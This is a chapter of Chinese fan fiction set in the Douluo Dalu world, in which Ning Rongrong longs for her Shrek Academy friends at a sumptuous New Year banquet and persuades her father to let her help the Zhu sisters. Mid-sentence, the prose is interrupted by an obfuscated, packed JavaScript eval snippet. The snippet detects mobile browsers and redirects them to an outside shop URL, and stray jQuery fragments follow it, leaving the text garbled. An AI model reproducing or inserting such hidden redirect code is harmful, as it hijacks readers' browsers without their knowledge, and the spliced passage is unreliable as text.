与史莱克那充满了烟火气的“家常菜”不同,七宝琉璃宗的年夜饭,是真正的、足以让任何帝王都为之咋舌的顶级豪宴。
整个宗主大殿,被布置得金碧辉煌,流光溢彩。穹顶之上,悬挂着数百颗拳头大小的、散发着柔和光芒的夜明珠,将大殿照得亮如白昼。地面上,铺着由整块万年暖玉雕琢而成的地砖,踩上去温润如玉,冬暖夏凉。
大殿的正中央,摆放着一张由千年金丝楠木打造的、长达数十米的巨大圆桌。桌上,摆满了琳琅满目的、令人眼花缭乱的顶级佳肴。
每一道菜,用的都是最顶级的食材——从星斗大森林深处猎来的、散发着浓郁魂力波动的千年魂兽肉,从极北冰原空运而来的、鲜美无比的万年冰蚕,从东海之滨捕捞的、能生死人肉白骨的龙涎鱼……
每一道菜,都由宗门内最顶级的、拥有食物系武魂的魂师,耗费了无数心血,精心烹制而成。其味道之鲜美,蕴含的魂力之磅礴,足以让任何一个普通的魂师,在吃下一口后,当场突破瓶颈!
然而,面对着这样一桌堪称“神仙宴”的顶级豪宴,坐在主位之侧的宁荣荣,却是食不知味,兴致缺缺。
她穿着一身由天蚕冰丝织成的、缀满了细碎宝石的华美宫装,那张早已出落得倾国倾城的俏脸上,虽然挂着得体的、符合她“七宝琉璃宗少主”身份的端庄微笑,但那双总是闪烁着灵动光芒的美眸里,却带着一丝挥之不去的、淡淡的落寞与……思念。
她的脑海里,不受控制地,浮现出了去年,在史莱克学院那个破败的小院里,大家一起围着火锅,抢着吃朱月月从那枚神奇戒指里掏出来的、不知道是什么品种的魂兽肉的场景。
她想起了,朱月月那个不着调的家伙,一边吃得满嘴流油,一边还在不停地用骚话调戏小舞,气得小舞追着她满院子打的搞笑画面。
她想起了,朱竹清那个清冷如仙的姐姐,总是安安静静地坐在那里,默默地帮所有人涮肉、夹菜,那双冰冷的眸子里,却总是带着对妹妹和伙伴们无限宠溺的温柔。
她想起了,马红俊那个死胖子,为了多抢一块肉,差点把自己的舌头都吞下去的憨傻模样。
她想起了,奥斯卡那个自恋的家伙,一边吃着,一边还在不停地对着镜子整理自己那骚包的发型,结果被朱月月一脚踹翻在地的狼狈样子。
那时的她们,虽然很穷,虽然每天都要进行着地狱般的、惨无人道的极限锻体,虽然住的吃的都远不如现在。
但那时的她们,很快乐。
那种发自内心的、纯粹的、无忧无虑的快乐。
“荣荣,怎么了?不合胃口吗?”
一个温和的、充满了慈爱与关切的声音,将宁荣荣从回忆中拉了回来。
坐在主位之上的宁风致,不知何时已经放下了手中的玉箸。他看着自己那明显有些心不在焉的宝贝女儿,那双总是带着几分儒雅与睿智的眸子里,充满了疼爱。
“没……没有,父亲。”宁荣荣连忙收敛心神,挤出一个甜美的笑容,“只是……只是女儿有些想念史莱克的伙伴们了。”
“呵呵……”宁风致闻言,非但没有责备,反而欣慰地笑了,“想念,就对了。这说明,我们家荣荣,是真的长大了,懂得什么叫‘情谊’了。”
他端起面前一杯香茗,轻轻地抿了一口,目光悠远,仿佛穿透了时空的阻隔,看到了那些正在为了各自的未来而奋斗的年轻身影。
“说起来,为父也有些想念,月月那个混世魔王般的小丫头了。”宁风致的脸上,露出了一个充满了宠溺与怀念的、慈父般的笑容,“也不知她现在,在珠光城,又在搞什么惊天动地的大事情。”
“噗嗤……”一旁的骨斗罗古榕,听到“混世魔王”这个称呼,一个没忍住,直接将嘴里的酒喷了出来,惹得对面的剑斗罗尘心,投来一个冰冷的、足以将人冻成冰雕的嫌弃眼神。
“宗主,您这话可就说错了。”古榕也顾不上去擦嘴,大大咧咧地说道,“月月那丫头,哪里是混世魔王?那分明是咱们七宝琉璃宗的……小福星!不!是大福星!”
他一拍大腿,激动得满脸通红,“你们是没看见啊!在断魂谷,那丫头一个人,硬撼一个封号斗罗!最后还搞出个什么‘三位一体武魂融合技’,把那三个倒霉蛋,杀得是片甲不留!那场面,啧啧啧,比老夫我当年晋级封号斗罗的时候,都带劲!”
“还有竹清那丫头!”剑斗罗尘心,也难得地,开了金口。他那张总是冷若冰霜的脸上,此刻也带着一丝毫不掩饰的欣赏与赞叹,“心智如妖,算无遗策。在所有人都没有察觉的情况下,就悄无声息地,准备好了足以颠覆一场国战的恐怖后手。这份眼光,这份魄力……假以时日,其成就,绝不在你我之下。”
宁风致听着两位叔伯对自己的两个“干女儿”如此高的评价,心中也是充满了无尽的骄傲与自豪。
他这辈子,最得意的事情,不是将七宝琉璃宗发展成了天下第一宗门,也不是拥有了冠绝天下的辅助系武魂。
而是生了一个好女儿,又认了两个好干女儿。
“是啊。”宁风致感慨万千地叹了口气,随即,他又像是想起了什么,那双睿智的眸子里,闪过一丝深深的、难以掩饰的担忧。
“月月那丫头,性子虽然跳脱,但心思缜密,手段通天,珠光城在她的治理下,固若金汤,我倒是不担心。”
“可竹清和竹云……”宁风致的眉头,微微蹙起,“她们虽然接管了玄竹帝国,但根基不稳。新政的推行,更是触动了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387928|200282||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那些盘根错节的旧贵族的根本利益。那些人,可都不是省油的灯啊。明面上,有天斗的大军镇着,他们不敢乱来。可暗地里,那些下三滥的手段,怕是少不了。”
“如今这大过年的,也不知道,那两个孩子,在玄竹帝国,过得好不好,能不能……吃上一顿安稳的年夜饭。”
宁风致的声音里,充满了属于一个“老父亲”的、最质朴的担忧与心疼。
他知道,自己的这两个干女儿,此刻正背负着何等沉重的压力。她们是在一片充满了毒蛇与猛兽的泥潭里,艰难地,开辟着一条属于她们自己的、崭新的道路。
那条路,注定充满了荆棘与鲜血。
听到父亲的话,宁荣荣那颗本就充满了思念的心,更是被狠狠地揪了一下。
她想起了,朱竹清那总是清冷、总是倔强、仿佛将所有情绪都藏在心底的模样。
她想起了,朱竹云那个总是咋咋乎乎、性格火爆,却又在关键时刻,会毫不犹豫地挡在姐妹身前的、可靠的姐姐。
她们现在,一定很累,很辛苦吧?
“父亲。”宁荣荣忽然站起身,对着宁风致,深深地行了一礼,那双美丽的眸子里,闪烁着前所未有的、如同火焰般燃烧的坚定光芒。
“女儿,也想去帮她们!”
“胡闹!”宁风致闻言,脸色一沉,想都没想,就开口呵斥。
可当他看到女儿那双写满了“决绝”与“成长”的眼睛时,到嘴边的话,却又怎么也说不出口了。
他知道,自己的女儿,已经不再是那个只会躲在自己羽翼下撒娇任性的、需要人保护的小公主了。
她有了自己的朋友,有了自己的羁绊,有了自己想要守护的东西。
雄鹰,终究是要离开巢穴,去搏击那属于自己的长空的。
“唉……”宁风致在心里,无奈地,长叹了一口气。他看着女儿那张与她母亲越来越像的、写满了倔强的俏脸,最终,还是选择了妥协。
“罢了。”他摆了摆手,语气中带着几分无力,却又充满了宠溺,“等过完年,你想去,便去吧。不过,为父有一个条件。”
“您说!”宁荣荣的眼中,瞬间绽放出惊喜的光芒。
“让剑叔,陪你一起去。”宁风致的语气,不容置疑,“玄竹帝国现在暗流涌动,为父,不放心你一个人。”
“多谢父亲!”宁荣荣激动得差点跳起来,她连忙跑到宁风致身边,像小时候一样,抱着他的胳膊,撒娇道,“父亲最好了!您放心,我一定会保护好自己的!而且,我还要变得更强,强到足以成为月月姐和清清姐最可靠的后盾!”
宁风致看着女儿那充满了活力的笑脸,感受着她那发自内心的喜悦,心中最后一丝担忧,也烟消云散了。